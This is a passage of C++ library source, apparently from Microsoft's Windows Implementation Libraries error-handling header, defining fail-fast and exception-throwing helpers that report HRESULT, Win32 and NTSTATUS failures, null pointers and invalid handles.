}\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFast_IfFalse)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT\n {\n if (!condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n __WI_SUPPRESS_NULLPTR_ANALYSIS\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNull)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __WI_SUPPRESS_NULLPTR_ANALYSIS\n __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_IfNull)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_UnexpectedMsg)(__RFF_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__RFF_DIRECT_FN_CALL E_UNEXPECTED, formatString, argList);\n }\n\n __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_UnexpectedMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__RFF_INTERNAL_NOINLINE_FN_CALL E_UNEXPECTED, formatString, argList);\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_IfMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_IfFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return pointer;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_IfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_UnexpectedMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n }\n\n //*****************************************************************************\n // FailFast Immediate Macros\n //*****************************************************************************\n\n __RFF_DIRECT_NORET_METHOD(void, FailFastImmediate_Unexpected)() WI_NOEXCEPT\n {\n __fastfail(FAST_FAIL_FATAL_APP_EXIT);\n }\n\n __RFF_INTERNAL_NORET_METHOD(_FailFastImmediate_Unexpected)() WI_NOEXCEPT\n {\n __fastfail(FAST_FAIL_FATAL_APP_EXIT);\n }\n\n _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(HRESULT, FailFastImmediate_IfFailed)(HRESULT hr) WI_NOEXCEPT\n {\n if (FAILED(hr))\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)();\n }\n return hr;\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFastImmediate_If)(bool condition) WI_NOEXCEPT\n {\n if (condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)();\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFastImmediate_IfFalse)(bool condition) WI_NOEXCEPT\n {\n if (!condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)();\n }\n return condition;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFastImmediate_IfNull)(_Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)();\n }\n return pointer;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFastImmediate_IfNull)(_In_opt_ const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)();\n }\n }\n\n _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(NTSTATUS, FailFastImmediate_IfNtStatusFailed)(NTSTATUS status) WI_NOEXCEPT\n {\n if (FAILED_NTSTATUS(status))\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFastImmediate_Unexpected)();\n }\n return status;\n }\n } // namespace __RFF_NS_NAME\n\n namespace __R_NS_NAME\n {\n //*****************************************************************************\n // Exception Macros\n //*****************************************************************************\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __R_DIRECT_NORET_METHOD(void, Throw_Hr)(__R_DIRECT_FN_PARAMS HRESULT hr)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_DIRECT_FN_CALL hr);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_Win32)(__R_DIRECT_FN_PARAMS DWORD err)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32(__R_DIRECT_FN_CALL err);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_GetLastError)(__R_DIRECT_FN_PARAMS_ONLY)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_GetLastError(__R_DIRECT_FN_CALL_ONLY);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_NtStatus)(__R_DIRECT_FN_PARAMS NTSTATUS status)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatus(__R_DIRECT_FN_CALL status);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_CaughtException)(__R_DIRECT_FN_PARAMS_ONLY)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_CaughtException(__R_DIRECT_FN_CALL_ONLY);\n }\n\n __R_INTERNAL_NORET_METHOD(_Throw_Hr)(__R_INTERNAL_FN_PARAMS HRESULT hr)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL hr);\n }\n\n __R_INTERNAL_NORET_METHOD(_Throw_GetLastError)(__R_INTERNAL_FN_PARAMS_ONLY)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_GetLastError(__R_INTERNAL_FN_CALL_ONLY);\n }\n\n __R_INTERNAL_NORET_METHOD(_Throw_Win32)(__R_INTERNAL_FN_PARAMS DWORD err)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32(__R_INTERNAL_FN_CALL err);\n }\n\n __R_INTERNAL_NORET_METHOD(_Throw_NullAlloc)(__R_INTERNAL_FN_PARAMS_ONLY)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Hr(__R_INTERNAL_FN_CALL E_OUTOFMEMORY);\n }\n\n __R_INTERNAL_NORET_METHOD(_Throw_NtStatus)(__R_INTERNAL_FN_PARAMS NTSTATUS status)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatus(__R_INTERNAL_FN_CALL status);\n }\n\n _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(HRESULT, Throw_IfFailed)(__R_CONDITIONAL_FN_PARAMS HRESULT hr)\n {\n if (FAILED(hr))\n {\n __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return hr;\n }\n\n _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(BOOL, Throw_IfWin32BoolFalse)(__R_CONDITIONAL_FN_PARAMS BOOL ret)\n {\n if (!ret)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return ret;\n }\n\n _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(DWORD, Throw_IfWin32Error)(__R_CONDITIONAL_FN_PARAMS DWORD err)\n {\n if (FAILED_WIN32(err))\n {\n __R_CALL_INTERNAL_METHOD(_Throw_Win32)(__R_CONDITIONAL_FN_CALL err);\n }\n return err;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(HANDLE, Throw_IfHandleInvalid)(__R_CONDITIONAL_FN_PARAMS HANDLE handle)\n {\n if (handle == INVALID_HANDLE_VALUE)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return handle;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(RESULT_NORETURN_NULL HANDLE, Throw_IfHandleNull)(__R_CONDITIONAL_FN_PARAMS HANDLE handle)\n {\n if (handle == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return handle;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_TEMPLATE_METHOD(void, Throw_IfNullAlloc)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_NullAlloc)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n _Post_satisfies_(return == condition)\n _When_(condition, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(bool, Throw_HrIf)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition)\n {\n if (condition)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition)\n _When_(!condition, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(bool, Throw_HrIfFalse)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition)\n {\n if (!condition)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_TEMPLATE_METHOD(void, Throw_HrIfNull)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_Hr)(__R_CONDITIONAL_FN_CALL hr);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(bool, Throw_GetLastErrorIf)(__R_CONDITIONAL_FN_PARAMS bool condition)\n {\n if (condition)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(bool, Throw_GetLastErrorIfFalse)(__R_CONDITIONAL_FN_PARAMS bool condition)\n {\n if (!condition)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_TEMPLATE_METHOD(void, Throw_GetLastErrorIfNull)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __R_CALL_INTERNAL_METHOD(_Throw_GetLastError)(__R_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n _Post_satisfies_(return == status)\n _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_)\n __R_CONDITIONAL_METHOD(NTSTATUS, Throw_IfNtStatusFailed)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status)\n {\n if (FAILED_NTSTATUS(status))\n {\n __R_CALL_INTERNAL_METHOD(_Throw_NtStatus)(__R_CONDITIONAL_FN_CALL status);\n }\n return status;\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_HrMsg)(__R_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_DIRECT_FN_CALL hr, formatString, argList);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_Win32Msg)(__R_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32Msg(__R_DIRECT_FN_CALL err, formatString, argList);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_GetLastErrorMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_GetLastErrorMsg(__R_DIRECT_FN_CALL formatString, argList);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_NtStatusMsg)(__R_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatusMsg(__R_DIRECT_FN_CALL status, formatString, argList);\n }\n\n __R_DIRECT_NORET_METHOD(void, Throw_CaughtExceptionMsg)(__R_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_FN_LOCALS;\n wil::details::ReportFailure_CaughtExceptionMsg(__R_DIRECT_FN_CALL formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_HrMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_GetLastErrorMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_GetLastErrorMsg(__R_INTERNAL_NOINLINE_FN_CALL formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_Win32Msg)(__R_INTERNAL_NOINLINE_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_Win32Msg(__R_INTERNAL_NOINLINE_FN_CALL err, formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_NullAllocMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__R_INTERNAL_NOINLINE_FN_CALL E_OUTOFMEMORY, formatString, argList);\n }\n\n __R_INTERNAL_NOINLINE_NORET_METHOD(_Throw_NtStatusMsg)(__R_INTERNAL_NOINLINE_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList)\n {\n __R_FN_LOCALS;\n wil::details::ReportFailure_NtStatusMsg(__R_INTERNAL_NOINLINE_FN_CALL status, formatString, argList);\n }\n\n _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(HRESULT, Throw_IfFailedMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (FAILED(hr))\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return hr;\n }\n\n _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(BOOL, Throw_IfWin32BoolFalseMsg)(__R_CONDITIONAL_FN_PARAMS BOOL ret, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (!ret)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return ret;\n }\n\n _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(DWORD, Throw_IfWin32ErrorMsg)(__R_CONDITIONAL_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (FAILED_WIN32(err))\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_Win32Msg)(__R_CONDITIONAL_NOINLINE_FN_CALL err, formatString, argList);\n }\n return err;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(HANDLE, Throw_IfHandleInvalidMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (handle == INVALID_HANDLE_VALUE)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return handle;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == 0, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(RESULT_NORETURN_NULL HANDLE, Throw_IfHandleNullMsg)(__R_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (handle == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return handle;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __WI_SUPPRESS_NULLPTR_ANALYSIS\n _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Throw_IfNullAllocMsg)(__R_CONDITIONAL_FN_PARAMS const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_NullAllocMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_HrIfMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_HrIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n __WI_SUPPRESS_NULLPTR_ANALYSIS\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __WI_SUPPRESS_NULLPTR_ANALYSIS\n _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Throw_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_GetLastErrorIfMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Throw_GetLastErrorIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, Throw_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Throw_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __WI_SUPPRESS_NULLPTR_ANALYSIS\n _When_(pointer == nullptr, _Analysis_noreturn_)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Throw_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...)\n {\n if (pointer == nullptr)\n {\n va_list argList;\n 